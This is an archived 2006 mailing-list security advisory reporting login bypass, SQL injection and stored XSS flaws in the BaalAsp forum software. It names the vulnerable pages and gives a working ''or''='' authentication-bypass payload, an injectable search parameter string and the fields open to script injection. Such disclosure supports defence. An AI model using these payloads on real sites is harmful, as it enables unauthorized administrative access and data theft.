|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
BaalAsp forum [login bypass ,injections sql(post), xss(post)]
saps.audit
gmail.com
Date: Wed Nov 15 2006 - 11:44:25 CST
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
vendor site:http://baalasp.com/
product:BaalAsp forum
bug:login bypass, injection sql post, xss post
risk:high
authentification bypass :
admin login bypass ==> /adminlogin.asp
passwd: 'or''='
user login bypass ==> /userlogin.asp
user: 'or''='
passwd: 'or''='
injection sql (post)
==> /search.asp
variables : page=1&total=1&search='[sql]
or just post your query into the search engine
xss post :
/addpost1.asp?
vulnerables fields :
- Subject:
- Group Name:
- Message:
laurent gaffié & benjamin mossé
http://s-a-p.ca/
contact: saps.auditgmail.com
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]